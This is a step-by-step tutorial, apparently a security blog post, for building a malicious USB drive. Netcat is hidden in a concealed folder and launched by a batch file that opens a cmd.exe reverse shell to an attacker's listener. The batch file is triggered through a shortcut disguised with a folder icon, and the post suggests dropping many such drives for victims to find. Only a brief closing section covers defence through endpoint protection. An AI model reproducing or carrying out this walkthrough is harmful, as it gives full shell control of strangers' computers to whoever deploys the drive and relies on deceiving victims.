Not all malicious USB devices need to be expensive pieces of hardware with sophisticated programming to do damage to your computer. With an old USB drive, you can build your own malicious BadUSB using Windows shortcut files to link to and payloads. According to a McAfee blog post , “During the second quarter of 2022, McAfee Labs has seen a rise in malware being delivered using LNK files. Attackers are exploiting the ease of LNK, and are using it to deliver malware like Emotet, Qakbot, IcedID, Bazarloaders, etc.” Rise of LNK (Shortcut) Malware We are going to look into how an LNK file can deliver malware on a seemingly innocent-looking USB drive. By leveraging hard-to-detect malware into Windows shortcut files (LNK files) a disguised link manipulates the user into clicking on a seemingly harmless file and launching malware. An LNK file shortcut provides quick and easy access to executable files without navigating the program’s full path. In this situation, a malware executable is in a hidden directory. The user clicks on a folder, which links to the executable, launching the malware. The executable for this exploit is Netcat or simply . nc Netcat is not malware, but Windows Defender flags it as such, so for the purposes of this walkthrough will we refer to it as malware. Used by network administrators and having many uses, Netcat is a common tool that amongst other features, allows a remote computer to connect to another. Using Netcat to establish a reverse shell, the attacking machine has shell access and full control of the victim’s computer. At the end of this section, we talk about ways to protect yourself against LNK shortcut USB attacks. How to Get Started Insert a USB drive into your computer. You can use any Windows-formatted USB drive. The size of our payload in this example is only 45K so any drive should work. Right-click and create a new folder. You can name this folder whatever you want, but for this example, we will use the aptly named directory. We will eventually hide this directory - more on how to do that later. payload Open the folder you just created. This is where we are going to install our malware. and copy the file to this folder Download the nc64.exe executable from GitHub nc64.exe Configuring the ‘BadUSB’ Drive After copying the payload onto your drive, you need to make some filesystem changes on the USB drive starting with creating a batch file. Create a Batch File The batch file is where you issue Windows commands for the computer to execute. Use Windows Notepad to create a text file. This file contains a single command that begins the attack. Replace the IP address and port in this example with your attacking host that is running Netcat. The parameter allows us to specify what shell we want to use to make the connection. On a Windows system, we can use or . Later on, we will configure our Linux server which will accept the connection from the victim’s computer. -e cmd.exe powershell.exe Save the file with a extension, and check that ‘Save as type:’ is set to ‘All files.’ Make sure the batch file and executable are in the same directory. .cmd The payload directory should contain two files: the executable and the batch file. Creating the Shortcut Part of the success of this attack is that we can create a Windows shortcut and link to the malware in a hidden directory. In order to get the user to click on our malware, we need to trick them into doing so. Hopefully, most users know not to run random applications on their computers. But a user will try to open a folder with an interesting name. Create the shortcut by right-clicking on the root directory of the USB drive and selecting Shortcut. Select the batch file you created in the previous step. In our example, the file from the directory and click Next to continue. run_exploit.cmd payload Name the shortcut something interesting that would enable a user to click on it and click Finish. Our newly created link does not look right, and even curious users should be hesitant to click the icon. Fortunately, Windows provides a feature so we can change the default icon for files and links. Right-click on the link and select Properties. Click the Change Icon button. Change the icon to a folder. Click OK to close the Change Icon window. Click OK to close Apply the changes and close the file Properties window. Now our shortcut does not look like a link anymore. There is still the traditional link arrow on the bottom left, but this should pass casual inspection by curious users. Hide the Malware Folder We are almost there. The drive still does not look right with the folder visible. We are going to fix that by making the drive hidden. Right-click on the folder and select Properties. payload payload Select the Hidden checkbox and click OK to apply the changes and close the window Enable ‘Apply changes to this folder, subfolders, files’ and click OK. The drive is armed and ready to deploy. When the user inserts the USB drive into their computer, this is what they see. Simple Malicious USB The shortcut looks like a regular Windows folder and looks harmless. Curious or unobservant users launch the malicious payload when they try to open the folder. But before deploying the Simple Malicious BadUSB, we need to set up our command-and-control server. Command-and-Control Server Setup Our Command-and-control (C&C) server is controlled by an attacker and is used to send and receive commands from a computer compromised by malware. Our server for this exploit is an Ubuntu machine running up-to-date software with installed. netcat This example uses the (do not use DNS), (listen for incoming connections only), (verbose), and (port number). Start the listener with the command. The server patiently waits for an incoming connection on Port 4444. -n -l -v -p nc -nlvp 4444 When the user inserts the USB and clicks on the shortcut, the batch file executes the command with the IP address and port number we supplied earlier. The connection is quick and effective. nc64.exe At this point, the machine is compromised and the attacker has full shell access to the victim’s computer. The hacker can issue commands as if they were sitting directly at the terminal. Defending Against this Vulnerability Several things need to go right for this exploit to work. You need to drop this at a location where somebody will pick it up The victim needs to ignore all computer hygiene and install it into their computer The victim needs to be running Windows The victim’s computer must be running the current Windows with all updates and patches applied. not The victim must be curious enough to click the link, which executes the hidden malware in the directory payload If all of these circumstances work for the attacker, then this would be a successful ransomware attack. In these types of attacks, numbers work in the attacker’s favor. If 100 BadUSB devices are dropped at a location, then they need only one person to click the link to become a victim. Enable Microsoft Virus and Threat Protection endpoint detection (EDR) does a very good job of protecting users from running malicious code. Built into all currently supported versions of Windows, Virus & threat protection watches for unusual behavior. Microsoft If we have Virus and Threat protection settings enabled, users, will see this message when they insert the BadUSB. Microsoft EDR would quarantine the file and it would no longer be on the drive, the attack would fail. As a result, the malware is removed and can no longer be executed. The good news for potential victims is that most people know not to plug a random USB device into their computers but if they did, Microsoft endpoint security software will prevent the malicious software from running.
